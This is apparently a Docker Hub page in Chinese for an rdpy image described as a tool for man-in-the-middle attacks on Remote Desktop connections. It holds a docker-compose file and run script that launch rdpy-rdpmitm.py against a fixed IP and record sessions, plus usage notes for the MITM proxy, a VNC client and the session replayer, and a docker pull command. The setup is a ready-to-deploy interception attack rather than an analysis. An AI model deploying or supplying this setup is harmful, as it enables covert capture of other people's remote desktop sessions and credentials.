这是一个可对远程桌面连接发起中间人攻击的rdpy工具集的docker镜像,该工具可做中间代理,并将会话信息记录下来
version: '2'
services:
my_rdpy:
image: rdpy: part2
hostname: centos
command:
- /bin/bash
- -c
- |
/opt/run-basic.sh
restart: always
volumes:
- /home/docker/rdpy/rss:/home/rdpy/rss
- ./run-basic.sh:/opt/run-basic.sh
ports:
- "3389:3389"
expose:
- "3389"
tty: true
networks:
extnetwork:
ipv4_address: 172.21.100.2
networks:
extnetwork:
ipam:
config:
- subnet: 172.21.100.0/24
gateway: 172.21.100.1
#!/bin/bash
ip=192.168.72.131
port=3389
/usr/bin/rdpy-rdpmitm.py -o /home/rdpy/rss $ip:$port
while true
do
sleep 10
done
(2)rdpy-vncclient(需安装可展示界面的x server) rdpy-vncclient是一个简单的VNC Qt4客户端。 $ rdpy-vncclient.py [-p password] XXX.XXX.XXX.XXX[:5900] eg:rdpy-vncclient.py -p ////// 192.168.43.132:5901
(3)rdpy-rdpmitm rdpy-rdpmitm是一个RDP代理,它允许你在RDP协议之上执行一次中间人攻击,并将会话场景信息记录在一个可以被rdpy-rssplayer重放的rss文件中 $ rdpy-rdpmitm.py -o output_dir [-l listen_port] [-k private_key_file_path] [-c certificate_file_path] [-r (for XP or server 2003 client)] target_host[:target_port] 客户端连接自己的ip,然后将请求转发给真实服务器,客户端连接本机ip,本地监听客户端的远程桌面连接请求,然后转发请求到服务器,中间可保存会话信息 eg:rdpy-rdpmitm.py -o /hoem/rdpy/rss -l 监听3389端口 192.168.72.130(服务器的ip)
(4)rdpy-rssplayer rdpy-rssplayer是用来重放由rdpy-rdpmitm或者rdpy-rdpclient二进制文件所产生的会话场景记录(rss)文件 $ rdpy-rssplayer.py rss_file_pat
Content type
Image
Digest
Size
198.7 MB
Last updated
about 6 years ago
docker pull lucaibao/rdpy:part1